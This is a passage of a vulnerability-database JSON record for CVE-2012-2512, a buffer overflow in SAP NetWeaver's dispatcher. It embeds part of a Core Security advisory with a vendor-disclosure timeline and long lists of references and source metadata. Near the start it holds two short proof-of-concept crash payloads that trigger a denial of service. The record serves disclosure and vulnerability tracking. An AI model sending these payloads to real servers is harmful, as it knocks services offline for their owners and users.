crash)\n-----/\n\n\n\n8.5. \n\n/-----\ncrash = \"\\x10\\x0c\\x0e\\x00\\0a\" + \"A\"*10\nsend_message(connection, crash)\n-----/\n\n\n\n8.6. This\nvulnerability could allow a remote unauthenticated attacker to conduct a\ndenial of service attack. \n\n/-----\ncrash = \"\\x10\\x0f\\x01\\x00\\x11\" + \"A\"*17\nsend_message(connection, crash)\n-----/\n\n\n\n9. *Report Timeline*\n\n. 2012-01-24:\nCore Security Technologies notifies the SAP team of the vulnerability,\nsetting the estimated publication date of the advisory for February\n21st, 2012. 2012-01-24:\nCore sends an advisory draft with technical details. 2012-01-24:\nThe SAP team confirms the reception of the issue and asks to use the\nsecurity ID 582820-2012 for further communication. SAP also notifies its\nterms and conditions [3], and asks for Core to commit to that guideline. 2012-02-01:\nThe Core Advisories Team communicates that it has its own guidelines for\nthe advisories publication process, which may conflict with SAP\u0027s\nguidelines. In particular, Core does not guarantee that the publication\nof the advisory will be postponed until a fix or patch is made available\nby SAP. If information about this vulnerability is partially or\ncompletely leaked by a third party, the advisory would be released\nimmediately as forced release. Despite this, the Core team commits to\ncomply with SAP\u0027s guidelines as much as possible. 2012-02-21:\nFirst release date missed. 2012-02-22:\nCore asks for the status of the fix and notifies that the release date\nwas missed. 2012-02-23:\nSAP notifies that, because the development team has to downport the\nsolutions for a huge bunch of software releases, the earliest release\ndate for the patches would be May 8th 2012. 2012-02-23:\nCore re-schedules the advisory publication to May 8th. 2012-04-16:\nCore asks if the patching process is still on track to release patches\non May 8th and requests a status of the fix. 2012-04-16:\nVendor notifies that the release date is still planned for May 8th, but\ndue to quality control processes this date cannot be guaranteed. 2012-05-04:\nCore notifies that everything is ready for publication and requests the\nvendor to confirm the release date and the list of affected platforms\n(no reply received). 2012-05-07:\nCore asks again for the status of the fix. 2012-05-08:\nSAP notifies that they have released the security note 1687910 [4] on\nMay Patch Day 2012 and asks to include that information in [Sec. 6]. SAP\nalso requests Core to remove all the technical information researched by\nMartin Gallo in [Sec. 8]. 2012-05-08:\nCore replies that the reporting of vulnerabilities is aimed at helping\nvulnerable users to understand and address the issues; the advisory will\nthus be released with the technical information. 2012-05-08:\nAdvisory CORE-2012-0123 published. \n\n\n\n10. *References*\n\n[1] http://www.sap.com/platform/netweaver/index.epx\n[2]\nhttp://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/cc212b3fa5296fe10000000a42189b/frameset.htm\n[3] SAP\u0027s legal information, terms and conditions\nhttp://www.sdn.sap.com/irj/sdn/security?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a#section46. \n\n[4] SAP security note 1687910\nhttps://service.sap.com/sap/support/notes/1687910. \n\n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "BID",
        "id": "53424"
      },
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "db": "PACKETSTORM",
        "id": "112569"
      },
      {
        "db": "PACKETSTORM",
        "id": "112538"
      }
    ],
    "trust": 2.16
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=20705",
        "trust": 0.2,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2012-2512",
        "trust": 2.9
      },
      {
        "db": "SECTRACK",
        "id": "1027052",
        "trust": 1.1
      },
      {
        "db": "BID",
        "id": "53424",
        "trust": 1.0
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402",
        "trust": 0.8
      },
      {
        "db": "SECUNIA",
        "id": "48980",
        "trust": 0.7
      },
      {
        "db": "NSFOCUS",
        "id": "19579",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160",
        "trust": 0.6
      },
      {
        "db": "EXPLOIT-DB",
        "id": "20705",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2012-2512",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "112569",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "112538",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "db": "BID",
        "id": "53424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "PACKETSTORM",
        "id": "112569"
      },
      {
        "db": "PACKETSTORM",
        "id": "112538"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "id": "VAR-201205-0130",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VARIoT devices database",
        "id": null
      }
    ],
    "trust": 0.2949160133333333
  },
  "last_update_date": "2023-12-18T12:22:02.488000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Acknowledgments to Security Researchers",
        "trust": 0.8,
        "url": "http://scn.sap.com/docs/doc-8218"
      },
      {
        "title": "martingalloar",
        "trust": 0.1,
        "url": "https://github.com/martingalloar/martingalloar "
      },
      {
        "title": "publications",
        "trust": 0.1,
        "url": "https://github.com/martingalloar/publications "
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-119",
        "trust": 1.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.2,
        "url": "http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities"
      },
      {
        "trust": 1.8,
        "url": "https://service.sap.com/sap/support/notes/1687910"
      },
      {
        "trust": 1.7,
        "url": "http://scn.sap.com/docs/doc-8218"
      },
      {
        "trust": 1.1,
        "url": "http://www.securitytracker.com/id?1027052"
      },
      {
        "trust": 1.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75454"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2512"
      },
      {
        "trust": 0.8,
        "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2012-2512"
      },
      {
        "trust": 0.7,
        "url": "http://www.securityfocus.com/bid/53424"
      },
      {
        "trust": 0.6,
        "url": "http://secunia.com/advisories/48980"
      },
      {
        "trust": 0.6,
        "url": "http://www.nsfocus.net/vulndb/19579"
      },
      {
        "trust": 0.4,
        "url": "http://www.sap.com/platform/netweaver/index.epx"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/119.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://github.com/martingalloar/martingalloar"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/20705/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/psi_30_beta_launch"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/vulnerability_intelligence/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/advisories/secunia_security_advisories/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/vulnerability_scanning/personal/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org"
      },
      {
        "trust": 0.1,
        "url": "https://ca.secunia.com/?page=viewadvisory\u0026vuln_id=48980"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/advisories/48980/"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/advisories/48980/#comments"
      },
      {
        "trust": 0.1,
        "url": "http://secunia.com/advisories/about_secunia_advisories/"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/content/services-overview-core-security-consulting-services."
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-2511"
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2011-1516"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/cc212b3fa5296fe10000000a42189b/frameset.htm"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2011-1517"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-2513"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/content/corelabs-advisories"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-2514"
      },
      {
        "trust": 0.1,
        "url": "https://service.sap.com/sap/support/notes/1687910."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2012-2512"
      },
      {
        "trust": 0.1,
        "url": "http://www.sdn.sap.com/irj/sdn/security?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a#section46."
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "db": "BID",
        "id": "53424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "PACKETSTORM",
        "id": "112569"
      },
      {
        "db": "PACKETSTORM",
        "id": "112538"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "db": "BID",
        "id": "53424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "db": "PACKETSTORM",
        "id": "112569"
      },
      {
        "db": "PACKETSTORM",
        "id": "112538"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2012-05-15T00:00:00",
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "date": "2012-05-08T00:00:00",
        "db": "BID",
        "id": "53424"
      },
      {
        "date": "2012-05-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "date": "2012-05-09T07:38:14",
        "db": "PACKETSTORM",
        "id": "112569"
      },
      {
        "date": "2012-05-08T15:15:15",
        "db": "PACKETSTORM",
        "id": "112538"
      },
      {
        "date": "2012-05-15T04:21:43.407000",
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "date": "2012-05-10T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2017-08-29T00:00:00",
        "db": "VULMON",
        "id": "CVE-2012-2512"
      },
      {
        "date": "2012-09-04T05:50:00",
        "db": "BID",
        "id": "53424"
      },
      {
        "date": "2012-05-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      },
      {
        "date": "2017-08-29T01:31:37.383000",
        "db": "NVD",
        "id": "CVE-2012-2512"
      },
      {
        "date": "2012-05-16T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "112538"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "SAP NetWeaver of  DiagTraceStreamI Denial of service in function  ( Daemon crash ) Vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-002402"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "buffer overflow",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201205-160"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.